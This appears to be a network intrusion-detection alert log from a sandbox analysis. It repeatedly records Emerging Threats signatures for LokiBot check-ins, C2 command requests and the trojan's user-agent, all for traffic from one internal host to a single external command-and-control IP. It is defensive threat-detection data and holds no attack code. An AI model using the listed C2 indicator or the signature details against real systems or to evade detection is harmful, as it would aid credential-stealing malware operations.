11/25/21-10:48:19.071832	TCP	2025381	ET TROJAN LokiBot Checkin	49862	80	192.168.11.20	176.223.209.128
11/25/21-10:48:19.071832	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49862	80	192.168.11.20	176.223.209.128
11/25/21-10:48:19.719301	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49863	80	192.168.11.20	176.223.209.128
11/25/21-10:48:19.719301	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49863	80	192.168.11.20	176.223.209.128
11/25/21-10:48:19.719301	TCP	2025381	ET TROJAN LokiBot Checkin	49863	80	192.168.11.20	176.223.209.128
11/25/21-10:48:19.719301	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49863	80	192.168.11.20	176.223.209.128
11/25/21-10:48:20.354985	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49864	80	192.168.11.20	176.223.209.128
11/25/21-10:48:20.354985	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49864	80	192.168.11.20	176.223.209.128
11/25/21-10:48:20.354985	TCP	2025381	ET TROJAN LokiBot Checkin	49864	80	192.168.11.20	176.223.209.128
11/25/21-10:48:20.354985	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49864	80	192.168.11.20	176.223.209.128
11/25/21-10:48:21.038148	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49865	80	192.168.11.20	176.223.209.128
11/25/21-10:48:21.038148	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49865	80	192.168.11.20	176.223.209.128
11/25/21-10:48:21.038148	TCP	2025381	ET TROJAN LokiBot Checkin	49865	80	192.168.11.20	176.223.209.128
11/25/21-10:48:21.038148	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49865	80	192.168.11.20	176.223.209.128
11/25/21-10:48:21.765352	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49866	80	192.168.11.20	176.223.209.128
11/25/21-10:48:21.765352	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49866	80	192.168.11.20	176.223.209.128
11/25/21-10:48:21.765352	TCP	2025381	ET TROJAN LokiBot Checkin	49866	80	192.168.11.20	176.223.209.128
11/25/21-10:48:21.765352	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49866	80	192.168.11.20	176.223.209.128
11/25/21-10:48:22.464834	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49867	80	192.168.11.20	176.223.209.128
11/25/21-10:48:22.464834	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49867	80	192.168.11.20	176.223.209.128
11/25/21-10:48:22.464834	TCP	2025381	ET TROJAN LokiBot Checkin	49867	80	192.168.11.20	176.223.209.128
11/25/21-10:48:22.464834	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49867	80	192.168.11.20	176.223.209.128
11/25/21-10:48:23.130212	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49869	80	192.168.11.20	176.223.209.128
11/25/21-10:48:23.130212	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49869	80	192.168.11.20	176.223.209.128
11/25/21-10:48:23.130212	TCP	2025381	ET TROJAN LokiBot Checkin	49869	80	192.168.11.20	176.223.209.128
11/25/21-10:48:23.130212	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49869	80	192.168.11.20	176.223.209.128
11/25/21-10:48:23.726846	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49870	80	192.168.11.20	176.223.209.128
11/25/21-10:48:23.726846	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49870	80	192.168.11.20	176.223.209.128
11/25/21-10:48:23.726846	TCP	2025381	ET TROJAN LokiBot Checkin	49870	80	192.168.11.20	176.223.209.128
11/25/21-10:48:23.726846	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49870	80	192.168.11.20	176.223.209.128
11/25/21-10:48:24.413483	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49871	80	192.168.11.20	176.223.209.128
11/25/21-10:48:24.413483	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49871	80	192.168.11.20	176.223.209.128
11/25/21-10:48:24.413483	TCP	2025381	ET TROJAN LokiBot Checkin	49871	80	192.168.11.20	176.223.209.128
11/25/21-10:48:24.413483	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49871	80	192.168.11.20	176.223.209.128
11/25/21-10:48:25.080255	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49872	80	192.168.11.20	176.223.209.128
11/25/21-10:48:25.080255	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49872	80	192.168.11.20	176.223.209.128
11/25/21-10:48:25.080255	TCP	2025381	ET TROJAN LokiBot Checkin	49872	80	192.168.11.20	176.223.209.128
11/25/21-10:48:25.080255	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49872	80	192.168.11.20	176.223.209.128
11/25/21-10:48:25.780948	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49873	80	192.168.11.20	176.223.209.128
11/25/21-10:48:25.780948	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49873	80	192.168.11.20	176.223.209.128
11/25/21-10:48:25.780948	TCP	2025381	ET TROJAN LokiBot Checkin	49873	80	192.168.11.20	176.223.209.128
11/25/21-10:48:25.780948	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49873	80	192.168.11.20	176.223.209.128
11/25/21-10:48:26.412910	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49874	80	192.168.11.20	176.223.209.128
11/25/21-10:48:26.412910	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49874	80	192.168.11.20	176.223.209.128
11/25/21-10:48:26.412910	TCP	2025381	ET TROJAN LokiBot Checkin	49874	80	192.168.11.20	176.223.209.128
11/25/21-10:48:26.412910	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49874	80	192.168.11.20	176.223.209.128
11/25/21-10:48:27.083164	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49875	80	192.168.11.20	176.223.209.128
11/25/21-10:48:27.083164	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49875	80	192.168.11.20	176.223.209.128
11/25/21-10:48:27.083164	TCP	2025381	ET TROJAN LokiBot Checkin	49875	80	192.168.11.20	176.223.209.128
11/25/21-10:48:27.083164	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49875	80	192.168.11.20	176.223.209.128
11/25/21-10:48:27.693462	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49876	80	192.168.11.20	176.223.209.128
11/25/21-10:48:27.693462	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49876	80	192.168.11.20	176.223.209.128
11/25/21-10:48:27.693462	TCP	2025381	ET TROJAN LokiBot Checkin	49876	80	192.168.11.20	176.223.209.128
11/25/21-10:48:27.693462	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49876	80	192.168.11.20	176.223.209.128
11/25/21-10:48:28.273851	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49877	80	192.168.11.20	176.223.209.128
11/25/21-10:48:28.273851	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49877	80	192.168.11.20	176.223.209.128
11/25/21-10:48:28.273851	TCP	2025381	ET TROJAN LokiBot Checkin	49877	80	192.168.11.20	176.223.209.128
11/25/21-10:48:28.273851	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49877	80	192.168.11.20	176.223.209.128
11/25/21-10:48:28.858505	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49878	80	192.168.11.20	176.223.209.128
11/25/21-10:48:28.858505	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49878	80	192.168.11.20	176.223.209.128
11/25/21-10:48:28.858505	TCP	2025381	ET TROJAN LokiBot Checkin	49878	80	192.168.11.20	176.223.209.128
11/25/21-10:48:28.858505	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49878	80	192.168.11.20	176.223.209.128
11/25/21-10:48:29.436238	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49879	80	192.168.11.20	176.223.209.128
11/25/21-10:48:29.436238	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49879	80	192.168.11.20	176.223.209.128
11/25/21-10:48:29.436238	TCP	2025381	ET TROJAN LokiBot Checkin	49879	80	192.168.11.20	176.223.209.128
11/25/21-10:48:29.436238	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49879	80	192.168.11.20	176.223.209.128
11/25/21-10:48:29.956863	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49880	80	192.168.11.20	176.223.209.128
11/25/21-10:48:29.956863	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49880	80	192.168.11.20	176.223.209.128
11/25/21-10:48:29.956863	TCP	2025381	ET TROJAN LokiBot Checkin	49880	80	192.168.11.20	176.223.209.128
11/25/21-10:48:29.956863	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49880	80	192.168.11.20	176.223.209.128
11/25/21-10:48:30.618581	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49881	80	192.168.11.20	176.223.209.128
11/25/21-10:48:30.618581	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49881	80	192.168.11.20	176.223.209.128
11/25/21-10:48:30.618581	TCP	2025381	ET TROJAN LokiBot Checkin	49881	80	192.168.11.20	176.223.209.128
11/25/21-10:48:30.618581	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49881	80	192.168.11.20	176.223.209.128
11/25/21-10:48:31.231230	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49882	80	192.168.11.20	176.223.209.128
11/25/21-10:48:31.231230	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49882	80	192.168.11.20	176.223.209.128
11/25/21-10:48:31.231230	TCP	2025381	ET TROJAN LokiBot Checkin	49882	80	192.168.11.20	176.223.209.128
11/25/21-10:48:31.231230	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49882	80	192.168.11.20	176.223.209.128
11/25/21-10:48:31.831960	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49883	80	192.168.11.20	176.223.209.128
11/25/21-10:48:31.831960	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49883	80	192.168.11.20	176.223.209.128
11/25/21-10:48:31.831960	TCP	2025381	ET TROJAN LokiBot Checkin	49883	80	192.168.11.20	176.223.209.128
11/25/21-10:48:31.831960	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49883	80	192.168.11.20	176.223.209.128
11/25/21-10:48:32.435657	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49884	80	192.168.11.20	176.223.209.128
11/25/21-10:48:32.435657	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49884	80	192.168.11.20	176.223.209.128
11/25/21-10:48:32.435657	TCP	2025381	ET TROJAN LokiBot Checkin	49884	80	192.168.11.20	176.223.209.128
11/25/21-10:48:32.435657	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49884	80	192.168.11.20	176.223.209.128
11/25/21-10:48:33.088495	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49885	80	192.168.11.20	176.223.209.128
11/25/21-10:48:33.088495	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49885	80	192.168.11.20	176.223.209.128
11/25/21-10:48:33.088495	TCP	2025381	ET TROJAN LokiBot Checkin	49885	80	192.168.11.20	176.223.209.128
11/25/21-10:48:33.088495	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49885	80	192.168.11.20	176.223.209.128
11/25/21-10:48:33.745000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49886	80	192.168.11.20	176.223.209.128
11/25/21-10:48:33.745000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49886	80	192.168.11.20	176.223.209.128
11/25/21-10:48:33.745000	TCP	2025381	ET TROJAN LokiBot Checkin	49886	80	192.168.11.20	176.223.209.128
11/25/21-10:48:33.745000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49886	80	192.168.11.20	176.223.209.128
11/25/21-10:48:34.343229	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49887	80	192.168.11.20	176.223.209.128
11/25/21-10:48:34.343229	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49887	80	192.168.11.20	176.223.209.128
11/25/21-10:48:34.343229	TCP	2025381	ET TROJAN LokiBot Checkin	49887	80	192.168.11.20	176.223.209.128
11/25/21-10:48:34.343229	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49887	80	192.168.11.20	176.223.209.128
11/25/21-10:48:34.941843	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49888	80	192.168.11.20	176.223.209.128
11/25/21-10:48:34.941843	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49888	80	192.168.11.20	176.223.209.128
11/25/21-10:48:34.941843	TCP	2025381	ET TROJAN LokiBot Checkin	49888	80	192.168.11.20	176.223.209.128
11/25/21-10:48:34.941843	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49888	80	192.168.11.20	176.223.209.128
11/25/21-10:48:35.542265	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49889	80	192.168.11.20	176.223.209.128
11/25/21-10:48:35.542265	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49889	80	192.168.11.20	176.223.209.128
11/25/21-10:48:35.542265	TCP	2025381	ET TROJAN LokiBot Checkin	49889	80	192.168.11.20	176.223.209.128
11/25/21-10:48:35.542265	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49889	80	192.168.11.20	176.223.209.128
11/25/21-10:48:36.204634	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49890	80	192.168.11.20	176.223.209.128
11/25/21-10:48:36.204634	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49890	80	192.168.11.20	176.223.209.128
11/25/21-10:48:36.204634	TCP	2025381	ET TROJAN LokiBot Checkin	49890	80	192.168.11.20	176.223.209.128
11/25/21-10:48:36.204634	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49890	80	192.168.11.20	176.223.209.128
11/25/21-10:48:36.820808	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49891	80	192.168.11.20	176.223.209.128
11/25/21-10:48:36.820808	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49891	80	192.168.11.20	176.223.209.128
11/25/21-10:48:36.820808	TCP	2025381	ET TROJAN LokiBot Checkin	49891	80	192.168.11.20	176.223.209.128
11/25/21-10:48:36.820808	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49891	80	192.168.11.20	176.223.209.128
11/25/21-10:48:37.469781	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49892	80	192.168.11.20	176.223.209.128
11/25/21-10:48:37.469781	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49892	80	192.168.11.20	176.223.209.128
11/25/21-10:48:37.469781	TCP	2025381	ET TROJAN LokiBot Checkin	49892	80	192.168.11.20	176.223.209.128
11/25/21-10:48:37.469781	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49892	80	192.168.11.20	176.223.209.128
11/25/21-10:48:38.005113	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49893	80	192.168.11.20	176.223.209.128
11/25/21-10:48:38.005113	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49893	80	192.168.11.20	176.223.209.128
11/25/21-10:48:38.005113	TCP	2025381	ET TROJAN LokiBot Checkin	49893	80	192.168.11.20	176.223.209.128
11/25/21-10:48:38.005113	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49893	80	192.168.11.20	176.223.209.128
11/25/21-10:48:38.572495	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49894	80	192.168.11.20	176.223.209.128
11/25/21-10:48:38.572495	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49894	80	192.168.11.20	176.223.209.128
11/25/21-10:48:38.572495	TCP	2025381	ET TROJAN LokiBot Checkin	49894	80	192.168.11.20	176.223.209.128
11/25/21-10:48:38.572495	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49894	80	192.168.11.20	176.223.209.128
11/25/21-10:48:39.175559	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49895	80	192.168.11.20	176.223.209.128
11/25/21-10:48:39.175559	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49895	80	192.168.11.20	176.223.209.128
11/25/21-10:48:39.175559	TCP	2025381	ET TROJAN LokiBot Checkin	49895	80	192.168.11.20	176.223.209.128
11/25/21-10:48:39.175559	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49895	80	192.168.11.20	176.223.209.128
11/25/21-10:48:39.761326	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49896	80	192.168.11.20	176.223.209.128
11/25/21-10:48:39.761326	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49896	80	192.168.11.20	176.223.209.128
11/25/21-10:48:39.761326	TCP	2025381	ET TROJAN LokiBot Checkin	49896	80	192.168.11.20	176.223.209.128
11/25/21-10:48:39.761326	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49896	80	192.168.11.20	176.223.209.128
11/25/21-10:48:40.218861	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49897	80	192.168.11.20	176.223.209.128
11/25/21-10:48:40.218861	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49897	80	192.168.11.20	176.223.209.128
11/25/21-10:48:40.218861	TCP	2025381	ET TROJAN LokiBot Checkin	49897	80	192.168.11.20	176.223.209.128
11/25/21-10:48:40.218861	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49897	80	192.168.11.20	176.223.209.128
11/25/21-10:48:40.780536	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49898	80	192.168.11.20	176.223.209.128
11/25/21-10:48:40.780536	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49898	80	192.168.11.20	176.223.209.128
11/25/21-10:48:40.780536	TCP	2025381	ET TROJAN LokiBot Checkin	49898	80	192.168.11.20	176.223.209.128
11/25/21-10:48:40.780536	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49898	80	192.168.11.20	176.223.209.128
11/25/21-10:48:41.373512	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49899	80	192.168.11.20	176.223.209.128
11/25/21-10:48:41.373512	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49899	80	192.168.11.20	176.223.209.128
11/25/21-10:48:41.373512	TCP	2025381	ET TROJAN LokiBot Checkin	49899	80	192.168.11.20	176.223.209.128
11/25/21-10:48:41.373512	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49899	80	192.168.11.20	176.223.209.128
11/25/21-10:48:41.968153	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49900	80	192.168.11.20	176.223.209.128
11/25/21-10:48:41.968153	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49900	80	192.168.11.20	176.223.209.128
11/25/21-10:48:41.968153	TCP	2025381	ET TROJAN LokiBot Checkin	49900	80	192.168.11.20	176.223.209.128
11/25/21-10:48:41.968153	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49900	80	192.168.11.20	176.223.209.128
11/25/21-10:48:42.536148	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49901	80	192.168.11.20	176.223.209.128
11/25/21-10:48:42.536148	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49901	80	192.168.11.20	176.223.209.128
11/25/21-10:48:42.536148	TCP	2025381	ET TROJAN LokiBot Checkin	49901	80	192.168.11.20	176.223.209.128
11/25/21-10:48:42.536148	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49901	80	192.168.11.20	176.223.209.128
11/25/21-10:48:43.112376	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49902	80	192.168.11.20	176.223.209.128
11/25/21-10:48:43.112376	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49902	80	192.168.11.20	176.223.209.128
11/25/21-10:48:43.112376	TCP	2025381	ET TROJAN LokiBot Checkin	49902	80	192.168.11.20	176.223.209.128
11/25/21-10:48:43.112376	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49902	80	192.168.11.20	176.223.209.128
11/25/21-10:48:43.645826	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49903	80	192.168.11.20	176.223.209.128
11/25/21-10:48:43.645826	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49903	80	192.168.11.20	176.223.209.128
11/25/21-10:48:43.645826	TCP	2025381	ET TROJAN LokiBot Checkin	49903	80	192.168.11.20	176.223.209.128
11/25/21-10:48:43.645826	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49903	80	192.168.11.20	176.223.209.128
11/25/21-10:48:44.201691	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49904	80	192.168.11.20	176.223.209.128
11/25/21-10:48:44.201691	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49904	80	192.168.11.20	176.223.209.128
11/25/21-10:48:44.201691	TCP	2025381	ET TROJAN LokiBot Checkin	49904	80	192.168.11.20	176.223.209.128
11/25/21-10:48:44.201691	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49904	80	192.168.11.20	176.223.209.128
11/25/21-10:48:44.811529	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49905	80	192.168.11.20	176.223.209.128
11/25/21-10:48:44.811529	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49905	80	192.168.11.20	176.223.209.128
11/25/21-10:48:44.811529	TCP	2025381	ET TROJAN LokiBot Checkin	49905	80	192.168.11.20	176.223.209.128
11/25/21-10:48:44.811529	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49905	80	192.168.11.20	176.223.209.128
11/25/21-10:48:45.392079	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49906	80	192.168.11.20	176.223.209.128
11/25/21-10:48:45.392079	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49906	80	192.168.11.20	176.223.209.128
11/25/21-10:48:45.392079	TCP	2025381	ET TROJAN LokiBot Checkin	49906	80	192.168.11.20	176.223.209.128
11/25/21-10:48:45.392079	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49906	80	192.168.11.20	176.223.209.128
11/25/21-10:48:45.989299	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49907	80	192.168.11.20	176.223.209.128
11/25/21-10:48:45.989299	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49907	80	192.168.11.20	176.223.209.128
11/25/21-10:48:45.989299	TCP	2025381	ET TROJAN LokiBot Checkin	49907	80	192.168.11.20	176.223.209.128
11/25/21-10:48:45.989299	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49907	80	192.168.11.20	176.223.209.128
11/25/21-10:48:46.527621	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49908	80	192.168.11.20	176.223.209.128
11/25/21-10:48:46.527621	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49908	80	192.168.11.20	176.223.209.128
11/25/21-10:48:46.527621	TCP	2025381	ET TROJAN LokiBot Checkin	49908	80	192.168.11.20	176.223.209.128
11/25/21-10:48:46.527621	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49908	80	192.168.11.20	176.223.209.128
11/25/21-10:48:47.107853	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49909	80	192.168.11.20	176.223.209.128
11/25/21-10:48:47.107853	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49909	80	192.168.11.20	176.223.209.128
11/25/21-10:48:47.107853	TCP	2025381	ET TROJAN LokiBot Checkin	49909	80	192.168.11.20	176.223.209.128
11/25/21-10:48:47.107853	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49909	80	192.168.11.20	176.223.209.128
11/25/21-10:48:47.685832	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49911	80	192.168.11.20	176.223.209.128
11/25/21-10:48:47.685832	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49911	80	192.168.11.20	176.223.209.128
11/25/21-10:48:47.685832	TCP	2025381	ET TROJAN LokiBot Checkin	49911	80	192.168.11.20	176.223.209.128
11/25/21-10:48:47.685832	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49911	80	192.168.11.20	176.223.209.128
11/25/21-10:48:48.224670	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49912	80	192.168.11.20	176.223.209.128
11/25/21-10:48:48.224670	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49912	80	192.168.11.20	176.223.209.128
11/25/21-10:48:48.224670	TCP	2025381	ET TROJAN LokiBot Checkin	49912	80	192.168.11.20	176.223.209.128
11/25/21-10:48:48.224670	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49912	80	192.168.11.20	176.223.209.128
11/25/21-10:48:48.828094	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49913	80	192.168.11.20	176.223.209.128
11/25/21-10:48:48.828094	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49913	80	192.168.11.20	176.223.209.128
11/25/21-10:48:48.828094	TCP	2025381	ET TROJAN LokiBot Checkin	49913	80	192.168.11.20	176.223.209.128
11/25/21-10:48:48.828094	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49913	80	192.168.11.20	176.223.209.128
11/25/21-10:48:49.359585	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49914	80	192.168.11.20	176.223.209.128
11/25/21-10:48:49.359585	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49914	80	192.168.11.20	176.223.209.128
11/25/21-10:48:49.359585	TCP	2025381	ET TROJAN LokiBot Checkin	49914	80	192.168.11.20	176.223.209.128
11/25/21-10:48:49.359585	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49914	80	192.168.11.20	176.223.209.128
11/25/21-10:48:49.936381	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49915	80	192.168.11.20	176.223.209.128
11/25/21-10:48:49.936381	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49915	80	192.168.11.20	176.223.209.128
11/25/21-10:48:49.936381	TCP	2025381	ET TROJAN LokiBot Checkin	49915	80	192.168.11.20	176.223.209.128
11/25/21-10:48:49.936381	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49915	80	192.168.11.20	176.223.209.128
11/25/21-10:48:50.496916	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49916	80	192.168.11.20	176.223.209.128
11/25/21-10:48:50.496916	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49916	80	192.168.11.20	176.223.209.128
11/25/21-10:48:50.496916	TCP	2025381	ET TROJAN LokiBot Checkin	49916	80	192.168.11.20	176.223.209.128
11/25/21-10:48:50.496916	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49916	80	192.168.11.20	176.223.209.128
11/25/21-10:48:51.019889	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49917	80	192.168.11.20	176.223.209.128
11/25/21-10:48:51.019889	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49917	80	192.168.11.20	176.223.209.128
11/25/21-10:48:51.019889	TCP	2025381	ET TROJAN LokiBot Checkin	49917	80	192.168.11.20	176.223.209.128
11/25/21-10:48:51.019889	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49917	80	192.168.11.20	176.223.209.128
11/25/21-10:48:51.567286	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49918	80	192.168.11.20	176.223.209.128
11/25/21-10:48:51.567286	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49918	80	192.168.11.20	176.223.209.128
11/25/21-10:48:51.567286	TCP	2025381	ET TROJAN LokiBot Checkin	49918	80	192.168.11.20	176.223.209.128
11/25/21-10:48:51.567286	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49918	80	192.168.11.20	176.223.209.128
